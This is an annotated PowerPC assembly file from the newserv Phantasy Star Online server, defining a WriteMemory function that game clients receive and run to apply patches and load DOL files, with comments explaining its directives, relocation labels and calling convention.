# values returned by the VersionDetectGC or VersionDetectXB functions; see
# those files for more details.) For example, the patch that gives the player a
# VIP card in Episode 3 USA is in the file VIPCard.3SE0.patch.s. (If there were
# a Japanese version of that patch, it would be in VIPCard.3SJ0.patch.s.)
# For example, to use this function to write the bytes 38 00 00 05 to the
# address 8010521C, send_function_call could be called like this:
# auto fn = s->function_code_index->name_to_function.at("WriteMemory");
# unordered_map<string, uint32_t> label_writes(
# {{"dest_addr", 0x8010521C}, {"size", 4}});
# string suffix("\x38\x00\x00\x05", 4);
# send_function_call(
# c, // Client to send function call to
# fn, // The function's code
# label_writes, // Variables to pass in to the function's code
# suffix); // Data to append after the code (not all functions use this)
# The meanings of label_writes and suffix are described in the comments below.
# Note that there is no way to specify label_writes or suffix for patches
# requested by the client, so those features should only be used in general
# functions.
# These directives tell newserv what to show to the player in the Patches menu.
# Neither of them is required; if the name is omitted, the filename is used
# instead.
.meta name="Write memory"
.meta description="Writes data to any location in memory"
# The .meta index directive tells newserv what value to use in the flag field
# when sending the B2 command. This is needed if the server needs to do
# something when the B3 response is received. If specified, the index must be in
# the range 01-FF. The DOL loading functionality, which this function is a part
# of, uses indexes E0, E1, and E2, but the WriteMemory function can also be used
# for other purposes.
.meta index=E1
# To hide a patch from the Patches menu (so it can only be used with the $patch
# command), this directive can be used. This has no effect if used in includes
# or general functions.
# .meta hide_from_patches_menu
# The entry_ptr label is required for all functions. It should point to a
# .offsetof directive that itself points to the actual entrypoint.
entry_ptr:
# All labels starting with reloc signify that the following PPC word (big-endian
# 32-bit value) is to be relocated at runtime. That is, when the code runs on
# the client, the PPC word will contain the actual memory address relative to
# the running code instead of the offset that it holds at assembly time. The
# entry_ptr label should almost always have a reloc label next to it.
reloc0:
.offsetof start
start:
mflr r12
bl get_block_ptr
mr r6, r3 # r6 = address of dest_addr label
copy_block:
lwz r3, [r6] # r3 = dest ptr
subi r3, r3, 1 # subtract 1 so we can use stbu
lwz r5, [r6 + 4] # r5 = size (bytes remaining)
add r5, r5, r3 # r5 = dest end ptr (last byte to be written)
addi r4, r6, 7 # r4 = src ptr (starting at -1 so we can use lbzu)
copy_block__again:
lbzu r0, [r4 + 1]
stbu [r3 + 1], r0
cmp r3, r5
bne copy_block__again
# Flush the data cache and clear the instruction cache at the written region
lwz r3, [r6] # r3 = dest ptr
lwz r4, [r6 + 4] # r4 = size
# A .include directive essentially pastes in the code from the referenced
# file. Here, we use the code from the file FlushCachedCode.inc.s.
.include FlushCachedCode
# Return the address after the last byte written. The value returned in r3
# from the function is sent back to the server in a B3 command. newserv uses
# the return value during DOL loading to know which section of the DOL file to
# send next, or to send the RunDOL function if all sections have been loaded.
lwz r3, [r6] # r3 = dest ptr
lwz r4, [r6 + 4] # r4 = size
add r3, r3, r4
mtlr r12
blr
get_block_ptr__ret:
mflr r3
mtlr r10
blr
get_block_ptr:
# We use a trick here to get the address of the dest_addr label: since bl puts
# the immediately-following address into the link register, we "call"
# get_block_ptr__ret and get the dest_addr pointer out of the LR. We then put
# r10 back into the LR so get_block_ptr__ret returns to the caller.
mflr r10
bl get_block_ptr__ret
# These fields are filled in right before the command is sent to the client.
# Specifically, the label_writes argument to send_function_call is responsible
# for this. The label_writes argument is a map of label name to value, and
# send_function_call simply writes the given values after the given labels. This
# is a way to pass arbitrary arguments to a function at call time.
dest_addr:
.zero
size:
.zero
# Finally, we use the suffix argument to instruct send_function_call to append
# the data we want to write to memory immediately after the assembled code.
# (The data_to_write label here is for documentation purposes only; the suffix
# argument always appends data after the end of all the assembled code.)
data_to_write: